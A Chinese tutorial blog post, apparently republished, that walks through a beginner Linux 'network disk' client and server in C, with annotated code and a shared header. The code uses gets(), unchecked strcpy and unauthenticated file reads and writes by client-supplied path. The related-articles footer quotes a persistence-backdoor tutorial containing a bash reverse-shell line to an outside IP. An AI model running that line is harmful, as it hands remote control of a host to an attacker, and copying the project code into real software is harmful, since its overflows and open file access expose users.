Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

news2024/9/19 15:17:21

"Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!"#Linux系统编程《网盘项目》

    • 前言
    • 预备知识
    • 一、 项目功能
    • 二、 程序基本框架
      • 2.1 服务器程序流图
      • 2.2 客户端程序流图
    • 三、 程序代码解析
      • 3.1 服务器代码解析
        • 3.1.1 主函数代码解析
        • 3.1.2 信息处理函数代码解析
        • 3.1.3 获取命令函数代码解析
        • 3.1.4 cd路径,文件名解析函数代码解析
        • 3.1.5 服务器完整代码解析
      • 3.2 客户端代码解析
        • 3.2.1 主函数代码解析
        • 3.2.2 信息处理函数代码解析
        • 3.2.3 获取命令函数代码解析
        • 3.2.4 cd路径,文件名解析函数代码解析
        • 3.2.5 客户端完整代码解析
      • 3.3 "public.h"文件代码
    • 四、 程序运行结果
    • 结束语

前言

  “本篇博文深入探讨了Linux系统编程中的《网盘项目》,详尽解析了项目的核心功能、构建了程序的基本框架、逐一剖析了程序代码的关键点,并展示了程序的实际运行结果。若您对此项目感兴趣,不妨先点赞支持,再细细品读,相信您会从中收获满满!”

预备知识

  一、Linux文件编程。
  二、Linux进程编程。
  三、Linux进程间通信编程。
  四、Linux网络编程。

  如果以上知识不清楚,请自行学习后再来浏览,也可以看我我写的博文。如果我有没例出的,请在评论区写一下。谢谢啦!

一、 项目功能

  如下图
请添加图片描述

二、 程序基本框架

2.1 服务器程序流图

  如下图
请添加图片描述

2.2 客户端程序流图

  如下图
请添加图片描述

三、 程序代码解析

3.1 服务器代码解析

3.1.1 主函数代码解析
int main(int argc, char **argv)
{
	int s_fd;																定义网络描述符
	int a_fd;																定义连接服务器描述符
	pid_t pid;																定义进程描述符
	struct sockaddr_in s_addr;												定义配置网络信息结构体												
	struct sockaddr_in c_addr;												定义输出客户端网络信息结构体
	struct Buffer msg;														定义网络传输数据结构体包含在"public.h"库中
	int c_len;																定义输出客户端网络信息的长度
	int mark = 0;															定义客户端连接的数量
	int n_read = 0;															定义从客户端读取到的数据量
	//1.socket
	s_fd = socket(AF_INET,SOCK_STREAM,0);									建立socket套接字IPV4 TCP 
	if(s_fd == -1)															判断是否成功创建套接字
	{
		puts("Socket creat fail");
		exit(-1);
	}
	s_addr.sin_family = AF_INET;											配置网络为IPV4的绑定信息
	s_addr.sin_port   = htons(atoi(argv[2]));								配置网络绑定的端口号为输入参数三
	inet_aton(argv[1],&s_addr.sin_addr);									配置网络绑定的IP地址为输入的参数二
	//2.bind
	//int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
	bind(s_fd,(struct sockaddr *)&s_addr,sizeof(struct sockaddr_in));		绑定刚才配置的网络信息
	//3.listen
	listen(s_fd,10);														设置服务器为监听状态,设置监听排队数量最大值10
	c_len = sizeof(struct sockaddr_in);										计算输出客户端的信息大小	
	while(1)
	{
		//4.accept
		a_fd = accept(s_fd,(struct sockaddr *)&c_addr,&c_len);				等待客户端连接,连接成功返回连接服务器描述符
		if(a_fd == -1)														判断客户端是否成功连接 
		{
			puts("Connect fail");
			perror("Why");
			exit(-1);
		}
		mark++;																每当有一个客户端连接就加一
		pid = getpid();														获取父进程描述符
		if(fork()==0)														创建子进程并进入子进程
		{
			puts("---------------------------------------------------------------------");优化输出
			printf("Connect %d usr\n",mark);								输出连接服务器的客户端的数量
			while(1)																
			{
				n_read = read(a_fd,&msg,sizeof(msg));						接收客户端传输的信息
				if(n_read == 0)												判断客户端是否有信息发送过来
				{
					printf("client out\n");
					break;
				}
				else if(n_read > 0)											有信息发送过来
				{	
					puts("---------------------------------------------------------------------");优化输出   
					printf("get msg num %d\n",n_read);						输出发送过来的数据量
					msg_handler(msg,a_fd,pid);								解析客户端发送信息,将网络连接描述符,传输数据结构体,父进程的进程描述传给信息处理函数
					puts("---------------------------------------------------------------------");优化输出   
				}
			}
		}
	}
	
	close(s_fd);															关闭socket套接字
	close(a_fd);															关闭网络连接

	return 0;
}
3.1.2 信息处理函数代码解析
void msg_handler(struct Buffer msg, int ah_fd, pid_t pid)			信息处理函数
{
	FILE *r = NULL;													定义数据流指针
	char *dir;														定义cd路径变量
	char *file;														定义文件名变量
	char fileBuf[1024];												定义文件内容变量
	int fd;															定义文件描述符
	
	printf("CMD: %s\n",msg.cmd);									输出客户端发送的指令
	int ret = get_cmd(msg.cmd);										解析客户端发送的指令,输出命令宏
	printf("ret = %d\n",ret);										输出解析到的宏结果
	switch(ret)
	{
		case LS:													当命令为ls,pwd时执行以下语句
		case PWD:
			puts("---------------------------------------------------------------------");输出优化   
			puts("in pwd&ls");										提示进入ls,pwd模式
			msg.mark = 0;											将信息结构体中的mark置零
			r = popen(msg.cmd,"r");									利用popen函数执行指令,并将执行指令的结果传输给r
			fread(msg.data,sizeof(msg.data),1,r);					采用fread函数将r中的输出结果读取到msg的data中
			write(ah_fd,&msg,sizeof(msg));							将输出结果返回给客户端
			
			break;
		case CD:													当命令为cd时执行以下语句
			puts("---------------------------------------------------------------------");输出优化   
			puts("in cd");											提示进入cd模式
			msg.mark = 0;											将信息结构体中的mark置零
			dir = getDir(msg.cmd);									解析cd命令的路径存于dir中
			printf("dir: %s\n",dir);								输出路径
			chdir(dir);												采用chdir改变当前工作路径
			break;	
		case GET:													当命令为get时执行以下语句
			puts("---------------------------------------------------------------------");输出优化   
			puts("in get");											提示进入get模式
			file = getDir(msg.cmd);									解析文件名
			printf("file: %s\n",file);								输出文件名
			fd = open(file,O_RDWR);									当开相应文件
			read(fd,fileBuf,1024);									读取文件数据,存于fileBuf中
			strcpy(msg.filedata,fileBuf);							将fileBuf中的文件数据拷贝进msg.filedata中
			strcpy(msg.data,file);									将文件名拷贝到msg.data中
			msg.mark = 1;											将信息结构体中的mark置一
			write(ah_fd,&msg,sizeof(struct Buffer));				将打包好的信息传回客户端
			
			break;
		case PUT:													当命令为put时执行以下语句
			puts("---------------------------------------------------------------------");优化输出   
			puts("int put");										提示进入put模式
			file = getDir(msg.cmd);									解析文件名
			printf("file: %s\n",file);								输出文件名
			fd = open(file,O_RDWR|O_CREAT,0600);					打开并创建文件
			write(fd,msg.filedata,strlen(msg.filedata));			向文件中写入客户端发送的文件内容
			close(fd);												关闭文件
			break;		
		case QUIT:													当命令为quit时执行以下语句
			puts("---------------------------------------------------------------------");优化输出   
			puts("quit!!!");										提示进入quit模式
			kill(pid,9);											终止父进程
			kill(getpid(),9);										终止子进程
			//exit(-1);
			break;				
	}
}
3.1.3 获取命令函数代码解析
int get_cmd(char *cmd)												获取命令函数
{		
	if(!strcmp(cmd,"ls"))	return LS;								获取到命令ls返回LS宏						
	if(!strcmp(cmd,"pwd"))	return PWD;								获取到命令pwd返回PWD宏
	if(!strcmp(cmd,"quit"))	return QUIT;							获取到命令quit返回QUIT宏
	if(strstr(cmd,"cd") != NULL)	return CD;						获取到命令cd返回CD宏
    if(strstr(cmd,"get") != NULL)	return GET;						获取到命令get返回GET宏
    if(strstr(cmd,"input") != NULL)	return PUT;						获取到命令put返回PUT宏
		
	return 0;														其他情况下返回0
}
3.1.4 cd路径,文件名解析函数代码解析
char *getDir(char *smdr)											cd路径,文件名解析函数
{
	char *p = NULL;
	
	p = strtok(smdr," ");											采用strtok函数分割字符串即可
	p = strtok(NULL," ");
	
	return p;
}
3.1.5 服务器完整代码解析
#include <stdio.h>
#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include "public.h"
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>



int get_cmd(char *cmd)												获取命令函数
{		
	if(!strcmp(cmd,"ls"))	return LS;								获取到命令ls返回LS宏						
	if(!strcmp(cmd,"pwd"))	return PWD;								获取到命令pwd返回PWD宏
	if(!strcmp(cmd,"quit"))	return QUIT;							获取到命令quit返回QUIT宏
	if(strstr(cmd,"cd") != NULL)	return CD;						获取到命令cd返回CD宏
    if(strstr(cmd,"get") != NULL)	return GET;						获取到命令get返回GET宏
    if(strstr(cmd,"input") != NULL)	return PUT;						获取到命令put返回PUT宏
		
	return 0;														其他情况下返回0
}

char *getDir(char *smdr)											cd路径,文件名解析函数
{
	char *p = NULL;
	
	p = strtok(smdr," ");											采用strtok函数分割字符串即可
	p = strtok(NULL," ");
	
	return p;
}

void msg_handler(struct Buffer msg, int ah_fd, pid_t pid)			信息处理函数
{
	FILE *r = NULL;													定义数据流指针
	char *dir;														定义cd路径变量
	char *file;														定义文件名变量
	char fileBuf[1024];												定义文件内容变量
	int fd;															定义文件描述符
	
	printf("CMD: %s\n",msg.cmd);									输出客户端发送的指令
	int ret = get_cmd(msg.cmd);										解析客户端发送的指令,输出命令宏
	printf("ret = %d\n",ret);										输出解析到的宏结果
	switch(ret)
	{
		case LS:													当命令为ls,pwd时执行以下语句
		case PWD:
			puts("---------------------------------------------------------------------");输出优化   
			puts("in pwd&ls");										提示进入ls,pwd模式
			msg.mark = 0;											将信息结构体中的mark置零
			r = popen(msg.cmd,"r");									利用popen函数执行指令,并将执行指令的结果传输给r
			fread(msg.data,sizeof(msg.data),1,r);					采用fread函数将r中的输出结果读取到msg的data中
			write(ah_fd,&msg,sizeof(msg));							将输出结果返回给客户端
			
			break;
		case CD:													当命令为cd时执行以下语句
			puts("---------------------------------------------------------------------");输出优化   
			puts("in cd");											提示进入cd模式
			msg.mark = 0;											将信息结构体中的mark置零
			dir = getDir(msg.cmd);									解析cd命令的路径存于dir中
			printf("dir: %s\n",dir);								输出路径
			chdir(dir);												采用chdir改变当前工作路径
			break;	
		case GET:													当命令为get时执行以下语句
			puts("---------------------------------------------------------------------");输出优化   
			puts("in get");											提示进入get模式
			file = getDir(msg.cmd);									解析文件名
			printf("file: %s\n",file);								输出文件名
			fd = open(file,O_RDWR);									当开相应文件
			read(fd,fileBuf,1024);									读取文件数据,存于fileBuf中
			strcpy(msg.filedata,fileBuf);							将fileBuf中的文件数据拷贝进msg.filedata中
			strcpy(msg.data,file);									将文件名拷贝到msg.data中
			msg.mark = 1;											将信息结构体中的mark置一
			write(ah_fd,&msg,sizeof(struct Buffer));				将打包好的信息传回客户端
			
			break;
		case PUT:													当命令为put时执行以下语句
			puts("---------------------------------------------------------------------");优化输出   
			puts("int put");										提示进入put模式
			file = getDir(msg.cmd);									解析文件名
			printf("file: %s\n",file);								输出文件名
			fd = open(file,O_RDWR|O_CREAT,0600);					打开并创建文件
			write(fd,msg.filedata,strlen(msg.filedata));			向文件中写入客户端发送的文件内容
			close(fd);												关闭文件
			break;		
		case QUIT:													当命令为quit时执行以下语句
			puts("---------------------------------------------------------------------");优化输出   
			puts("quit!!!");										提示进入quit模式
			kill(pid,9);											终止父进程
			kill(getpid(),9);										终止子进程
			//exit(-1);
			break;				
	}
}

int main(int argc, char **argv)
{
	int s_fd;																定义网络描述符
	int a_fd;																定义连接服务器描述符
	pid_t pid;																定义进程描述符
	struct sockaddr_in s_addr;												定义配置网络信息结构体												
	struct sockaddr_in c_addr;												定义输出客户端网络信息结构体
	struct Buffer msg;														定义网络传输数据结构体包含在"public.h"库中
	int c_len;																定义输出客户端网络信息的长度
	int mark = 0;															定义客户端连接的数量
	int n_read = 0;															定义从客户端读取到的数据量
	//1.socket
	s_fd = socket(AF_INET,SOCK_STREAM,0);									建立socket套接字IPV4 TCP 
	if(s_fd == -1)															判断是否成功创建套接字
	{
		puts("Socket creat fail");
		exit(-1);
	}
	s_addr.sin_family = AF_INET;											配置网络为IPV4的绑定信息
	s_addr.sin_port   = htons(atoi(argv[2]));								配置网络绑定的端口号为输入参数三
	inet_aton(argv[1],&s_addr.sin_addr);									配置网络绑定的IP地址为输入的参数二
	//2.bind
	//int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
	bind(s_fd,(struct sockaddr *)&s_addr,sizeof(struct sockaddr_in));		绑定刚才配置的网络信息
	//3.listen
	listen(s_fd,10);														设置服务器为监听状态,设置监听排队数量最大值10
	c_len = sizeof(struct sockaddr_in);										计算输出客户端的信息大小	
	while(1)
	{
		//4.accept
		a_fd = accept(s_fd,(struct sockaddr *)&c_addr,&c_len);				等待客户端连接,连接成功返回连接服务器描述符
		if(a_fd == -1)														判断客户端是否成功连接 
		{
			puts("Connect fail");
			perror("Why");
			exit(-1);
		}
		mark++;																每当有一个客户端连接就加一
		pid = getpid();														获取父进程描述符
		if(fork()==0)														创建子进程并进入子进程
		{
			puts("---------------------------------------------------------------------");优化输出
			printf("Connect %d usr\n",mark);								输出连接服务器的客户端的数量
			while(1)																
			{
				n_read = read(a_fd,&msg,sizeof(msg));						接收客户端传输的信息
				if(n_read == 0)												判断客户端是否有信息发送过来
				{
					printf("client out\n");
					break;
				}
				else if(n_read > 0)											有信息发送过来
				{	
					puts("---------------------------------------------------------------------");优化输出   
					printf("get msg num %d\n",n_read);						输出发送过来的数据量
					msg_handler(msg,a_fd,pid);								解析客户端发送信息,将网络连接描述符,传输数据结构体,父进程的进程描述传给信息处理函数
					puts("---------------------------------------------------------------------");优化输出   
				}
			}
		}
	}
	
	close(s_fd);															关闭socket套接字
	close(a_fd);															关闭网络连接

	return 0;
}

3.2 客户端代码解析

3.2.1 主函数代码解析
int main(int argc,char **argv)
{
	int c_fd;																		定义网络描述符
	int f_fd;																		定义文件描述符
	int n_read;																		定义从服务器读取到的数据量
	struct sockaddr_in c_addr;														定义配置网络信息结构体
	struct Buffer msg;																定义网络传输数据结构体包含在"public.h"库中
	
	//1.socket
	c_fd = socket(AF_INET,SOCK_STREAM,0);											建立socket套接字IPV4 TCP 
	if(c_fd == -1)                                                                  判断是否成功创建套接字
	{
		puts("Socket fail");
		perror("Why");
		exit(-1);
	}
	//2.connect
	c_addr.sin_family = AF_INET;													配置网络为IPV4的绑定信息			
	c_addr.sin_port   = htons(atoi(argv[2]));										配置网络绑定的端口号为输入参数三
	inet_aton(argv[1],&c_addr.sin_addr);											配置网络绑定的IP地址为输入的参数二
	if(connect(c_fd,(struct sockaddr *)&c_addr,sizeof(struct sockaddr_in)) == -1)	连接服务器,并判断是否连接成功
	{
		perror("connect");
		exit(-1);
	}
	while(1)
	{
		//3.write
		if(fork()==0)																建立子进程,并进入子进程
		{
			while(1)
			{
				memset(msg.cmd,'\0',sizeof(msg.cmd));								清空发送指令缓冲区
				gets(msg.cmd);														获取指令到发送指令缓存器
				printf(">");														输出优化
				msg_handler(msg,c_fd);												处理发送的指令
			}
		}
		while(1)
		{
			n_read = read(c_fd,&msg,sizeof(msg));									接收服务器传回的数据
			if(n_read == 0)															判断是否成功接收到数据
			{
				printf("server is out,quit\n----------------------------------------------------\n");输出优化
				exit(-1);
			}	
			printf("\n%s\n",msg.data);												输出接收到服务器传回的输出数据
			printf("--------------------------------------------------------------------------\n");输出优化
			if(msg.mark == 1)														当msg.mark为1
			{
				puts("Successful get file");										输出成功获取到服务器文件
				printf("file name: %s\n",msg.data);									输出获取到的文件文件名
				f_fd = open(msg.data,O_RDWR|O_CREAT,0600);							打开或创建该文件
				if(f_fd == -1)														判断是否成功创建该文件
				{
					perror("fail why");
				}
				write(f_fd,msg.filedata,strlen(msg.filedata));						向该文件写入服务器传回的文件内容
				close(f_fd);														关闭该文件
			}
		}
	}
	
	
	//4.read
	close(c_fd);																	关闭socket套接字

	return 0;
}
3.2.2 信息处理函数代码解析
void msg_handler(struct Buffer msg,int cc_fd)                                   信息处理函数										
{
	int fd;																		定义文件描述符 
	char *file;																	定义文件名变量
	char fileBuf[1024];															定义文件内容变量
	char BF[128];																定义指令备份变量
	char *dir;																	定义cd路径变量

	switch(get_cmd(msg.cmd))													解析发送的指令并执行相关操作
	{
		case LS:																当命令为ls,pwd,cd时执行以下语句
		case PWD:
		case CD:
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			break;
		case GET:																当命令为get时执行以下语句
			puts("----------------------------------------------------");		输出优化
			printf("in get\n");													提示进入get模式
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
                        break;
		case PUT:																当命令为put时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in put");														提示进入put模式
			memset(BF,'\0',128);												清空指令备份变量
			strcpy(BF,msg.cmd);													备份指令
			file = getDir(msg.cmd);												解析指令,并输出文件名
			fd = open(file,O_RDWR);												打开该文件
			read(fd,fileBuf,1024);												读取文件内容到fileBuf中
			strcpy(msg.filedata,fileBuf);										将fileBuf中的内容拷贝到msg.filedata中
                        strcpy(msg.data,file);									将文件名拷贝到msg.data中
			strcpy(msg.cmd,BF);													将备份好的指令拷贝回msg.cmd中
			memset(BF,'\0',128);												清空指令备份变量
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			备份指令的原因:因为解析指令会将指令拆开,导致服务器无法解析
			break;
		case CDD:																当命令为cdd时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in cdd");														提示进入cdd模式
			dir = getDir(msg.cmd);												解析cdd文件路径
			printf("dir: %s\n",dir);											输出cdd文件路径
			chdir(dir);															改变当前工作路径
			break;
		case LSS:																当命令为lss时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in lss");														提示进入lss模式
			system("ls");														直接使用system函数执行ls命令
			break;
		case PWDD:																当命令为pwdd时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in pwdd");													提示进入pwdd模式
			system("pwd");														直接使用system函数执行pwd命令
			break;	
		case QUIT:																当命令为quit时执行以下语句
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			exit(-1);															退出子进程
			break;	
	}
}
3.2.3 获取命令函数代码解析
int get_cmd(char *cmd)															 获取命令函数
{
	if(!strcmp(cmd,"ls"))	return LS;								             获取到命令ls返回LS宏						
	if(!strcmp(cmd,"pwd"))	return PWD;								             获取到命令pwd返回PWD宏
	if(!strcmp(cmd,"quit"))	return QUIT;							             获取到命令quit返回QUIT宏
	if(strstr(cmd,"cd") != NULL)	return CD;						             获取到命令cd返回CD宏
    if(strstr(cmd,"get") != NULL)	return GET;						             获取到命令get返回GET宏
    if(strstr(cmd,"input") != NULL)	return PUT;						             获取到命令put返回PUT宏								
	if(strstr(cmd,"lss") != NULL)   return LSS;									 获取到命令lss返回LSS宏
	if(strstr(cmd,"pwdd") != NULL)  return PWDD;		                         获取到命令pwdd返回PWDD宏
	if(strstr(cmd,"dk") != NULL)    return CDD;									 获取到命令cdd返回CDD宏
	
	return 0;																	 其他情况返回0
}
3.2.4 cd路径,文件名解析函数代码解析
char *getDir(char *smdr)														 cd路径,文件名解析函数
{
	char *p = NULL;
	
	p = strtok(smdr," ");											             采用strtok函数分割字符串即可
	p = strtok(NULL," ");
	
	return p;
}
3.2.5 客户端完整代码解析
#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>
//#include <linux/in.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include "public.h"
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>


int get_cmd(char *cmd)															 获取命令函数
{
	if(!strcmp(cmd,"ls"))	return LS;								             获取到命令ls返回LS宏						
	if(!strcmp(cmd,"pwd"))	return PWD;								             获取到命令pwd返回PWD宏
	if(!strcmp(cmd,"quit"))	return QUIT;							             获取到命令quit返回QUIT宏
	if(strstr(cmd,"cd") != NULL)	return CD;						             获取到命令cd返回CD宏
    if(strstr(cmd,"get") != NULL)	return GET;						             获取到命令get返回GET宏
    if(strstr(cmd,"input") != NULL)	return PUT;						             获取到命令put返回PUT宏								
	if(strstr(cmd,"lss") != NULL)   return LSS;									 获取到命令lss返回LSS宏
	if(strstr(cmd,"pwdd") != NULL)  return PWDD;		                         获取到命令pwdd返回PWDD宏
	if(strstr(cmd,"dk") != NULL)    return CDD;									 获取到命令cdd返回CDD宏
	
	return 0;																	 其他情况返回0
}
	
char *getDir(char *smdr)														 cd路径,文件名解析函数
{
	char *p = NULL;
	
	p = strtok(smdr," ");											             采用strtok函数分割字符串即可
	p = strtok(NULL," ");
	
	return p;
}

void msg_handler(struct Buffer msg,int cc_fd)                                   信息处理函数										
{
	int fd;																		定义文件描述符 
	char *file;																	定义文件名变量
	char fileBuf[1024];															定义文件内容变量
	char BF[128];																定义指令备份变量
	char *dir;																	定义cd路径变量

	switch(get_cmd(msg.cmd))													解析发送的指令并执行相关操作
	{
		case LS:																当命令为ls,pwd,cd时执行以下语句
		case PWD:
		case CD:
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			break;
		case GET:																当命令为get时执行以下语句
			puts("----------------------------------------------------");		输出优化
			printf("in get\n");													提示进入get模式
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
                        break;
		case PUT:																当命令为put时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in put");														提示进入put模式
			memset(BF,'\0',128);												清空指令备份变量
			strcpy(BF,msg.cmd);													备份指令
			file = getDir(msg.cmd);												解析指令,并输出文件名
			fd = open(file,O_RDWR);												打开该文件
			read(fd,fileBuf,1024);												读取文件内容到fileBuf中
			strcpy(msg.filedata,fileBuf);										将fileBuf中的内容拷贝到msg.filedata中
                        strcpy(msg.data,file);									将文件名拷贝到msg.data中
			strcpy(msg.cmd,BF);													将备份好的指令拷贝回msg.cmd中
			memset(BF,'\0',128);												清空指令备份变量
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			备份指令的原因:因为解析指令会将指令拆开,导致服务器无法解析
			break;
		case CDD:																当命令为cdd时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in cdd");														提示进入cdd模式
			dir = getDir(msg.cmd);												解析cdd文件路径
			printf("dir: %s\n",dir);											输出cdd文件路径
			chdir(dir);															改变当前工作路径
			break;
		case LSS:																当命令为lss时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in lss");														提示进入lss模式
			system("ls");														直接使用system函数执行ls命令
			break;
		case PWDD:																当命令为pwdd时执行以下语句
			puts("----------------------------------------------------");		输出优化
			puts("in pwdd");													提示进入pwdd模式
			system("pwd");														直接使用system函数执行pwd命令
			break;	
		case QUIT:																当命令为quit时执行以下语句
			write(cc_fd,&msg,sizeof(msg));										直接向服务器发送数据msg
			exit(-1);															退出子进程
			break;	
	}
}

int main(int argc,char **argv)
{
	int c_fd;																		定义网络描述符
	int f_fd;																		定义文件描述符
	int n_read;																		定义从服务器读取到的数据量
	struct sockaddr_in c_addr;														定义配置网络信息结构体
	struct Buffer msg;																定义网络传输数据结构体包含在"public.h"库中
	
	//1.socket
	c_fd = socket(AF_INET,SOCK_STREAM,0);											建立socket套接字IPV4 TCP 
	if(c_fd == -1)                                                                  判断是否成功创建套接字
	{
		puts("Socket fail");
		perror("Why");
		exit(-1);
	}
	//2.connect
	c_addr.sin_family = AF_INET;													配置网络为IPV4的绑定信息			
	c_addr.sin_port   = htons(atoi(argv[2]));										配置网络绑定的端口号为输入参数三
	inet_aton(argv[1],&c_addr.sin_addr);											配置网络绑定的IP地址为输入的参数二
	if(connect(c_fd,(struct sockaddr *)&c_addr,sizeof(struct sockaddr_in)) == -1)	连接服务器,并判断是否连接成功
	{
		perror("connect");
		exit(-1);
	}
	while(1)
	{
		//3.write
		if(fork()==0)																建立子进程,并进入子进程
		{
			while(1)
			{
				memset(msg.cmd,'\0',sizeof(msg.cmd));								清空发送指令缓冲区
				gets(msg.cmd);														获取指令到发送指令缓存器
				printf(">");														输出优化
				msg_handler(msg,c_fd);												处理发送的指令
			}
		}
		while(1)
		{
			n_read = read(c_fd,&msg,sizeof(msg));									接收服务器传回的数据
			if(n_read == 0)															判断是否成功接收到数据
			{
				printf("server is out,quit\n----------------------------------------------------\n");输出优化
				exit(-1);
			}	
			printf("\n%s\n",msg.data);												输出接收到服务器传回的输出数据
			printf("--------------------------------------------------------------------------\n");输出优化
			if(msg.mark == 1)														当msg.mark为1
			{
				puts("Successful get file");										输出成功获取到服务器文件
				printf("file name: %s\n",msg.data);									输出获取到的文件文件名
				f_fd = open(msg.data,O_RDWR|O_CREAT,0600);							打开或创建该文件
				if(f_fd == -1)														判断是否成功创建该文件
				{
					perror("fail why");
				}
				write(f_fd,msg.filedata,strlen(msg.filedata));						向该文件写入服务器传回的文件内容
				close(f_fd);														关闭该文件
			}
		}
	}
	
	
	//4.read
	close(c_fd);																	关闭socket套接字

	return 0;
}

3.3 "public.h"文件代码

#define LS   1
#define PWD  2
#define CD   3
#define GET  4
#define PUT  5
#define CDD  6
#define LSS  7
#define PWDD 8
#define QUIT 9	

struct Buffer
{
	int mark;
	char cmd[128];		指令
	char data[1024];	文件名
	char filedata[1024];文件内容
};

四、 程序运行结果

  请看视频

Linux系统编程【网盘项目】

结束语

  非常感谢您的耐心阅读!在您即将离开之际,如果您觉得内容有所收获或启发,不妨动动手指,点个赞再走,这将是对我莫大的鼓励和支持。衷心感谢您的点赞与关注,期待未来能继续为您带来更多有价值的内容!谢谢您!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119436.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知&#xff08;增强&#xff09;3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一&#xff1a;权限维持-Linux-定时任务-Cron后门 linux的计时任务&#xff0c;配置文件再/etc/crontab下 创建后门文件&#xff0c;这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫&#xff0c;刚开始养的时候全寝都很喜欢&#xff0c;甚至隔壁宿舍的都来看&#xff0c;而且猫咪很亲人&#xff0c;没有对别人哈气&#xff0c;一片其乐融融的情景。 但是养了三个月之后&#xff0c;宿舍矛盾开始爆发&#xff0c;有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前&#xff0c;北京博科测试系统股份有限公司&#xff08;以下简称&#xff0c;博科测试&#xff09;提交了注册申请&#xff0c;其距离创业板上市更近一步。 时间线上&#xff0c;早在2022年4月21日&#xff0c;博科测试就递交招股书&…

goby/xray批量导入自定义poc(附2024红队POC)

自定义xray2024最新公开poc &#xff1a;夸克网盘分享 Xray Xray 官方文档 介绍 - xray Documentation 基础爬虫模式进行漏洞扫描 xray webscan --basic-crawler <URL> --html-output xray-crawler-testphp.html 基础模式进行漏洞扫描&#xff0c;不使用爬虫 xray …

VS Studio2022 最新的mission planner二次开发环境搭建 所有资源都在自己亲测 自己一步步搞出来的花了1个月(小白转行版

文章目录 1. 环境要求1.1 VS Studio下载1.2 Mission Planner2 Mission Planner打包msi(使用使用VisualStudio2022插件(Visual Studio Installer Projects 2022))3 打开设计器FlightData.cs1. 环境要求 Win10以上(目前实测了11,10也可以的) 1.1 VS Studio下载 VS Studio20…

Redis主从数据同步过程:命令传播、部分重同步、复制偏移量等

请记住胡广一句话&#xff0c;所有的中间件所有的框架都是建立在基础之上&#xff0c;数据结构&#xff0c;计算机网络&#xff0c;计算机原理大伙一定得看透&#xff01;&#xff01;~ 1. Redis数据同步 1.1 数据同步过程 大家有没想过为什么Redis多机要进行数据同步&#…

NodeMCU-ESP8266+flash_download_tool_3.9.7 烧录

USB-TTL 接 NodeMCU的RXD0, TXD0, GND 例程hello_world&#xff1a; Eclipse编译信息&#xff1a; python /d/ESP/ESP8266_RTOS_SDK/ESP8266_RTOS_SDK/components/esptool_py/esptool/esptool.py --chip esp8266 --port COM6 --baud 115200 --before default_reset --after …

AI绘图神器排行:MidJourney、Stable Diffusion等热门工具深度解析

AI绘画工具各有优势&#xff0c;从开放性到对特定语言和文化的支持&#xff0c;以及对图像细节和艺术性的不同关注点&#xff0c;根据具体需求选择合适的工具 MidJourney 图片品质卓越&#xff0c;充满独特创意&#xff0c;初期能够免费获取数十账高质量图片&#xff0c;整个生…

【C++ 面试 - 新特性】每日 3 题(六)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

八、3 DMA数据转运(代码)

&#xff08;1&#xff09;DMA函数介绍 &#xff08;2&#xff09;DMA是AHB总线的设备&#xff0c;要用AHB开启时钟 若将DataA放在外设站点&#xff0c;DataB放在存储器站点&#xff0c;传输方向就是外设站点—>存储器站点 DMA转运的三个条件&#xff1a; 1&#xff09;传输…

【C语言】字符串函数详细讲解

